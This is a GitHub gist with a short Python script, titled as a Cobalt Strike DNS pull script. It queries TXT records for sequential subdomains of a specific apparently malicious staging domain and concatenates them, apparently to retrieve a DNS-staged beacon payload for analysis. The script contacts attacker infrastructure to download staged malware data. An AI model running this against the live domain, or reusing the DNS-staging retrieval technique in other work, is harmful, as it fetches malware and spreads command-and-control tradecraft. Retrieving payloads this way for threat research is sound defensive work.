Created
April 22, 2021 16:03
-
-
Save sysopfb/f4f89a99d378d5d4d50d5b373fbcd083 to your computer and use it in GitHub Desktop.
CobaltStrike DNS pull script
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import dns.resolver | |
| c = '.stage.1950252.updates.updaternetworkmanagerr.com' | |
| v = ord('a') | |
| vv = ord('a') | |
| vvv = ord('a') | |
| done = False | |
| out = "" | |
| while not done: | |
| t = dns.resolver.query(chr(v)+chr(vv)+chr(vvv)+c, 'TXT') | |
| out += t[0].to_text().strip('"') | |
| if len(t[0].to_text()) < 255: | |
| print("done") | |
| break | |
| v += 1 | |
| if v >= ord('z'): | |
| vv += 1 | |
| v = ord('a') | |
| if vv >= ord('z'): | |
| vvv += 1 | |
| vv = ord('a') | |
| if vvv >= ord('z'): | |
| print('max hit') | |
| break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment